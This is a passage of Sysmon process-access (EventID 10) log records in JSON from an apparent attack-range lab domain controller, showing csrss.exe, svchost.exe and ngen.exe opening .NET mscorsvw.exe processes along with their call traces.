indows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.635\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001030880B00}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.635","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001030880B00}","TargetProcessId":"4328","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.650\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-001030880B00}\r\nTargetProcessId: 4328\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.650","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-001030880B00}","TargetProcessId":"4328","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.744\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001030A80A00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.744","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001030A80A00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7025,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.744\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001030A80A00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001030A80A00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7026,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-0010728B0B00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-0010728B0B00}","TargetProcessId":"4104","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7027,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.854\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-0010F38E0B00}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.854","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-0010F38E0B00}","TargetProcessId":"4024","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7028,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.854\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-0010F38E0B00}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.854","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-0010F38E0B00}","TargetProcessId":"4024","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:48","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:47","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7029,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:47.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AB-5F2D-0000-0010F38E0B00}\r\nTargetProcessId: 4024\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:47.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AB-5F2D-0000-0010F38E0B00}","TargetProcessId":"4024","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYS